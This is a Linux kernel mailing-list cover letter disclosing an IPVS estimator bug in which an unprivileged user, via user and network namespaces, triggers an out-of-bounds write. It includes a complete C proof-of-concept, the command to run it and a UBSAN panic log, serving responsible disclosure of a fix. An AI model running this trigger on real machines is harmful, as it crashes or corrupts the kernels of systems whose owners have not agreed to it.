All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH nf 0/1] ipvs: guard estimator enqueue until limits are set
@ 2026-07-27 16:58 Ren Wei
  2026-07-27 16:58 ` [PATCH nf 1/1] " Ren Wei
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-27 16:58 UTC (permalink / raw)
  To: lvs-devel, netfilter-devel
  Cc: horms, ja, pablo, fw, phil, jwiesner, vega, zhilinz, enjou1224z

From: Zhiling Zou <zhilinz@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated an issue in net/netfilter/ipvs/ip_vs_est.c. The
bug is reachable by a non-root user via user and net namespace.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

IPVS estimator kthread 0 starts with zero chain and tick limits until
its initial calculation phase completes. If network namespace teardown
clears ipvs->enable during this initial calculation, the calculation
phase can return without installing positive est_chain_max and
per-kthread limits.

After this early return, kthread 0 can still drain est_temp_list. Each
enqueue then observes zero chain_max, tick_max and est_max_count values.
The zero chain_max makes each chain immediately full, while est_count
can never equal the zero est_max_count after it is incremented. After
all 50 tick rows are consumed, the row lookup returns IPVS_EST_NTICKS.

ip_vs_enqueue_estimator() then indexes kd->ticks[50] and
kd->tick_len[50], writing past the arrays and corrupting adjacent
kthread state.

The fix avoids draining temporary estimators before est_chain_max is
ready, rejects enqueue attempts without valid per-kthread limits, and
rejects row lookups that did not find a valid tick row.

Reproducer:

    ./poc -U -n 500 -s 80 -d 5000

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define STACK_SIZE (1024 * 1024)

#define IP_VS_SCHEDNAME_MAXLEN 16
#define IP_VS_BASE_CTL (64 + 1024 + 64)
#define IP_VS_SO_SET_ADD (IP_VS_BASE_CTL + 2)

struct ip_vs_service_user {
	uint16_t protocol;
	uint32_t addr;
	uint16_t port;
	uint32_t fwmark;
	char sched_name[IP_VS_SCHEDNAME_MAXLEN];
	unsigned int flags;
	unsigned int timeout;
	uint32_t netmask;
};

struct trigger_cfg {
	int attempts;
	int services;
	int delay_us;
	bool use_userns;
};

struct userns_child_args {
	int sync_fd;
	int services;
	int delay_us;
};

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static int write_file(const char *path, const char *buf)
{
	FILE *f = fopen(path, "w");

	if (!f)
		return -1;
	if (fputs(buf, f) == EOF) {
		fclose(f);
		return -1;
	}
	if (fclose(f) != 0)
		return -1;
	return 0;
}

static int add_service(int fd, int idx)
{
	struct ip_vs_service_user svc;

	memset(&svc, 0, sizeof(svc));
	svc.protocol = IPPROTO_TCP;
	svc.addr = htonl(0x7f000001U);
	svc.port = htons((uint16_t)(10000 + idx));
	memcpy(svc.sched_name, "rr", 3);

	return setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADD, &svc, sizeof(svc));
}

static int trigger_once_current_ns(int services, int delay_us)
{
	int fd;
	int i;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		return -1;

	if (add_service(fd, 0) < 0) {
		close(fd);
		return -1;
	}

	if (delay_us > 0)
		usleep((useconds_t)delay_us);

	for (i = 1; i < services; i++) {
		if (add_service(fd, i) < 0) {
			close(fd);
			return -1;
		}
	}

	close(fd);
	return 0;
}

static int rootnet_child(void *arg)
{
	const struct trigger_cfg *cfg = arg;

	if (unshare(CLONE_NEWNET) < 0) {
		perror("unshare(CLONE_NEWNET)");
		return 1;
	}

	if (trigger_once_current_ns(cfg->services, cfg->delay_us) < 0) {
		perror("trigger_once_current_ns");
		return 1;
	}

	return 0;
}

static int usernet_child(void *arg)
{
	const struct userns_child_args *cfg = arg;
	char dummy;

	if (read(cfg->sync_fd, &dummy, 1) != 1) {
		perror("child read");
		return 1;
	}
	close(cfg->sync_fd);

	if (setresgid(0, 0, 0) < 0) {
		perror("setresgid");
		return 1;
	}
	if (setresuid(0, 0, 0) < 0) {
		perror("setresuid");
		return 1;
	}

	if (trigger_once_current_ns(cfg->services, cfg->delay_us) < 0) {
		perror("trigger_once_current_ns");
		return 1;
	}

	return 0;
}

static int map_userns(pid_t pid, uid_t uid, gid_t gid)
{
	char path[128];
	char map[128];

	snprintf(path, sizeof(path), "/proc/%d/setgroups", pid);
	if (write_file(path, "deny\n") < 0 && errno != ENOENT) {
		perror("write setgroups");
		return -1;
	}

	snprintf(path, sizeof(path), "/proc/%d/uid_map", pid);
	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	if (write_file(path, map) < 0) {
		perror("write uid_map");
		return -1;
	}

	snprintf(path, sizeof(path), "/proc/%d/gid_map", pid);
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	if (write_file(path, map) < 0) {
		perror("write gid_map");
		return -1;
	}

	return 0;
}

static int run_root_attempt(const struct trigger_cfg *cfg)
{
	void *stack;
	pid_t pid;
	int status;

	stack = malloc(STACK_SIZE);
	if (!stack)
		die("malloc");

	pid = clone(rootnet_child, (char *)stack + STACK_SIZE, SIGCHLD, (void *)cfg);
	if (pid < 0)
		die("clone root");

	if (waitpid(pid, &status, 0) < 0)
		die("waitpid root");

	free(stack);
	return status;
}

static int run_userns_attempt(const struct trigger_cfg *cfg)
{
	struct userns_child_args args;
	void *stack;
	int pipefd[2];
	pid_t pid;
	int status;

	if (pipe(pipefd) < 0)
		die("pipe");

	args.sync_fd = pipefd[0];
	args.services = cfg->services;
	args.delay_us = cfg->delay_us;

	stack = malloc(STACK_SIZE);
	if (!stack)
		die("malloc");

	pid = clone(usernet_child, (char *)stack + STACK_SIZE,
		    CLONE_NEWUSER | CLONE_NEWNET | SIGCHLD, &args);
	if (pid < 0)
		die("clone userns");

	close(pipefd[0]);

	if (map_userns(pid, getuid(), getgid()) < 0)
		exit(EXIT_FAILURE);

	if (write(pipefd[1], "x", 1) != 1)
		die("write sync");
	close(pipefd[1]);

	if (waitpid(pid, &status, 0) < 0)
		die("waitpid userns");

	free(stack);
	return status;
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [-n attempts] [-s services] [-d delay_us] [-U]\n"
		"  -U  create a user+net namespace before triggering\n",
		prog);
}

int main(int argc, char **argv)
{
	struct trigger_cfg cfg = {
		.attempts = 2000,
		.services = 80,
		.delay_us = 5000,
		.use_userns = false,
	};
	int opt;
	int i;

	while ((opt = getopt(argc, argv, "Un:s:d:h")) != -1) {
		switch (opt) {
		case 'U':
			cfg.use_userns = true;
			break;
		case 'n':
			cfg.attempts = atoi(optarg);
			break;
		case 's':
			cfg.services = atoi(optarg);
			break;
		case 'd':
			cfg.delay_us = atoi(optarg);
			break;
		case 'h':
		default:
			usage(argv[0]);
			return opt == 'h' ? 0 : 1;
		}
	}

	if (cfg.attempts <= 0 || cfg.services < 60 || cfg.delay_us < 0) {
		fprintf(stderr, "need attempts > 0, services >= 60, delay_us >= 0\n");
		return 1;
	}

	fprintf(stderr,
		"mode=%s attempts=%d services=%d delay_us=%d\n",
		cfg.use_userns ? "userns+netns" : "root+netns",
		cfg.attempts, cfg.services, cfg.delay_us);

	for (i = 1; i <= cfg.attempts; i++) {
		int status;

		status = cfg.use_userns ? run_userns_attempt(&cfg)
					: run_root_attempt(&cfg);
		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
			fprintf(stderr, "attempt %d failed: status=0x%x\n", i, status);
			return 1;
		}

		if ((i % 100) == 0)
			fprintf(stderr, "completed %d attempts\n", i);
	}

	fprintf(stderr, "completed without crashing the kernel\n");
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  111.027019] ------------[ cut here ]------------
[  111.028417] UBSAN: array-index-out-of-bounds in ../net/netfilter/ipvs/ip_vs_est.c:444:7
[  111.029599] index 50 is out of range for type 'ip_vs_est_tick_data *[50]'
[  111.030622] CPU: 2 UID: 0 PID: 906 Comm: ipvs-e:7:0 Not tainted 6.12.95 #1
[  111.030629] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  111.030631] Call Trace:
[  111.030643]  <TASK>
[  111.030651]  dump_stack_lvl (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/irqflags.h:26 /home/roxy/linux-block-patch/build/../arch/x86/include/asm/irqflags.h:109 /home/roxy/linux-block-patch/build/../arch/x86/include/asm/irqflags.h:151 /home/roxy/linux-block-patch/build/../lib/dump_stack.c:118)
[  111.030721]  __ubsan_handle_out_of_bounds (/home/roxy/linux-block-patch/build/../lib/ubsan.c:455)
[  111.030763]  ip_vs_estimation_kthread (/home/roxy/linux-block-patch/build/../net/netfilter/ipvs/ip_vs_est.c:153 /home/roxy/linux-block-patch/build/../net/netfilter/ipvs/ip_vs_est.c:216)
[  111.030797]  ? ttwu_queue_wakelist (/home/roxy/linux-block-patch/build/../kernel/sched/core.c:3891 (discriminator 2) /home/roxy/linux-block-patch/build/../kernel/sched/core.c:3934 (discriminator 2) /home/roxy/linux-block-patch/build/../kernel/sched/core.c:3959 (discriminator 2))
[  111.030836]  ? raw_spin_rq_lock_nested.constprop.0+0x19/0x70
[  111.030842]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  111.030861]  ? __pfx_autoremove_wake_function (/home/roxy/linux-block-patch/build/../include/linux/list.h:204 (discriminator 2))
[  111.030886]  ? __pfx_ip_vs_estimation_kthread (/home/roxy/linux-block-patch/build/../net/netfilter/ipvs/ip_vs_est.c:592)
[  111.030891]  kthread (/home/roxy/linux-block-patch/build/../kernel/kthread.c:401)
[  111.030901]  ? __pfx_kthread (/home/roxy/linux-block-patch/build/../include/linux/list.h:162)
[  111.030905]  ret_from_fork (/home/roxy/linux-block-patch/build/../arch/x86/kernel/process.c:153)
[  111.030927]  ? __pfx_kthread (/home/roxy/linux-block-patch/build/../include/linux/list.h:162)
[  111.030931]  ret_from_fork_asm (/home/roxy/linux-block-patch/build/../arch/x86/entry/entry_64.S:245)
[  111.030959]  </TASK>
[  111.042284] ---[ end trace ]---
[  111.042809] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
[  111.043711] CPU: 2 UID: 0 PID: 906 Comm: ipvs-e:7:0 Not tainted 6.12.95 #1
[  111.044895] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  111.046408] Call Trace:
[  111.046746]  <TASK>
[  111.047043]  panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1))
[  111.047498]  ? _printk (/home/roxy/linux-block-patch/build/../kernel/printk/printk.c:2499)
[  111.047953]  check_panic_on_warn (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/atomic.h:85 (discriminator 4) /home/roxy/linux-block-patch/build/../include/linux/atomic/atomic-arch-fallback.h:564 (discriminator 4) /home/roxy/linux-block-patch/build/../include/linux/atomic/atomic-arch-fallback.h:1020 (discriminator 4) /home/roxy/linux-block-patch/build/../include/linux/atomic/atomic-instrumented.h:454 (discriminator 4) /home/roxy/linux-block-patch/build/../kernel/panic.c:527 (discriminator 4))
[  111.048522]  __ubsan_handle_out_of_bounds (/home/roxy/linux-block-patch/build/../lib/ubsan.c:456)
[  111.049196]  ip_vs_estimation_kthread (/home/roxy/linux-block-patch/build/../net/netfilter/ipvs/ip_vs_est.c:153 /home/roxy/linux-block-patch/build/../net/netfilter/ipvs/ip_vs_est.c:216)
[  111.049856]  ? ttwu_queue_wakelist (/home/roxy/linux-block-patch/build/../kernel/sched/core.c:3891 (discriminator 2) /home/roxy/linux-block-patch/build/../kernel/sched/core.c:3934 (discriminator 2) /home/roxy/linux-block-patch/build/../kernel/sched/core.c:3959 (discriminator 2))
[  111.050477]  ? raw_spin_rq_lock_nested.constprop.0+0x19/0x70
[  111.051274]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  111.051947]  ? __pfx_autoremove_wake_function (/home/roxy/linux-block-patch/build/../include/linux/list.h:204 (discriminator 2))
[  111.052658]  ? __pfx_ip_vs_estimation_kthread (/home/roxy/linux-block-patch/build/../net/netfilter/ipvs/ip_vs_est.c:592)
[  111.053370]  kthread (/home/roxy/linux-block-patch/build/../kernel/kthread.c:401)
[  111.053807]  ? __pfx_kthread (/home/roxy/linux-block-patch/build/../include/linux/list.h:162)
[  111.054352]  ret_from_fork (/home/roxy/linux-block-patch/build/../arch/x86/kernel/process.c:153)
[  111.054842]  ? __pfx_kthread (/home/roxy/linux-block-patch/build/../include/linux/list.h:162)
[  111.055361]  ret_from_fork_asm (/home/roxy/linux-block-patch/build/../arch/x86/entry/entry_64.S:245)
[  111.055898]  </TASK>
[  111.056531] Kernel Offset: disabled

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  ipvs: guard estimator enqueue until limits are set

 net/netfilter/ipvs/ip_vs_est.c | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-27 18:48 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-27 16:58 [PATCH nf 0/1] ipvs: guard estimator enqueue until limits are set Ren Wei
2026-07-27 16:58 ` [PATCH nf 1/1] " Ren Wei
2026-07-27 18:48   ` Julian Anastasov

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.